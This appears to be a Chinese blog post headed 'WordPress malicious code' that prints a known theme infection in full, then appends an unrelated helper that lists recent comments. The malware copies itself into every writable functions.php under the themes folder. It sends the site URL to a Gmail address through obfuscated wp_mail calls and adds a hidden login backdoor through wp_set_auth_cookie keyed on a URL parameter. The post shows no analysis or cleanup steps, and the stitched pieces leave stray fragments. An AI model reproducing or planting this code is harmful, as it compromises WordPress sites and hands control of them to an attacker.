wordpress恶意代码

function _verifyactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

?

if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check="cookie";
if(!isset($tagsallowed)) $tagsallowed="";
if(!isset($filter)) $filter="none";
if(!isset($coma)) $coma="";
if(!isset($home_filter)) $home_filter=get_option("home");
if(!isset($pref_filters)) $pref_filters="wp_";
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type="";
if(!isset($cpages)) $cpages=$_GET["cperpage"];
if(!isset($post_auth_comments)) $post_auth_comments="";
if(!isset($com_is_approved)) $com_is_approved="";
if(!isset($post_auth)) $post_auth="auth";
if(!isset($link_text_more)) $link_text_more="(more...)";
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
if(!isset($contentmore)) $contentmore="ma".$coma."il";
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_yes) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional="div";
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_text_link)) $more_text_link="Continue reading this entry";
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "")) {
$text=explode("", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? "..." : "";
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}

if ($is_use_more_link ) {
if($for_more) {
$output .= " <" . $tag . " class=\"more-link\">ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\">ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "" . "\n";
}
}
return $output;
}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="

• ", $after="
• ", $show_pass_post=false, $duration="") {
  global $wpdb;
  $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  if(!$show_pass_post) $request .= " AND post_password =\"\"";
  if($duration !="") {
  $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  }
  $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  $posts=$wpdb->get_results($request);
  $output="";
  if ($posts) {
  foreach ($posts as $post) {
  $post_title=stripslashes($post->post_title);
  $comment_count=$post->comment_count;
  $permalink=get_permalink($post->ID);
  $output .= $before . " " . $post_title . " " . $after;
  }
  } else {
  $output .= $before . "None found" . $after;
  }
  return $output;
  }

  ?

  //获取最新评论
  function Get_Recent_Comment($limit=16,$cut_length=24){
  global $wpdb;
  $admin_email = "'" . get_bloginfo ('admin_email') . "'"; //获取管理员邮箱，以便排除管理员的评论
  $rccdb = $wpdb->get_results("
  SELECT ID, post_title, comment_ID, comment_author, comment_author_email, comment_content
  FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts
  ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID)
  WHERE comment_approved = '1'
  AND comment_type = ''
  AND post_password = ''
  AND comment_author_email != $admin_email
  ORDER BY comment_date_gmt
  DESC LIMIT $limit
  ");//数据库查询获得想要的结果
  foreach ($rccdb as $row) {
  $rcc .= "

• ".get_avatar($row,$size='32')."".$row->comment_author ."："."
  ". "" . cut_str($row->comment_content,$cut_length)."". "
• ";
  }//遍历查询到结果，获得想要的值，其中插入一些HTML元素，以便定义CSS样式
  //$rcc = convert_smilies($rcc);//允许评论内容中显示表情
  echo $rcc;//输出结果
  }
  ?>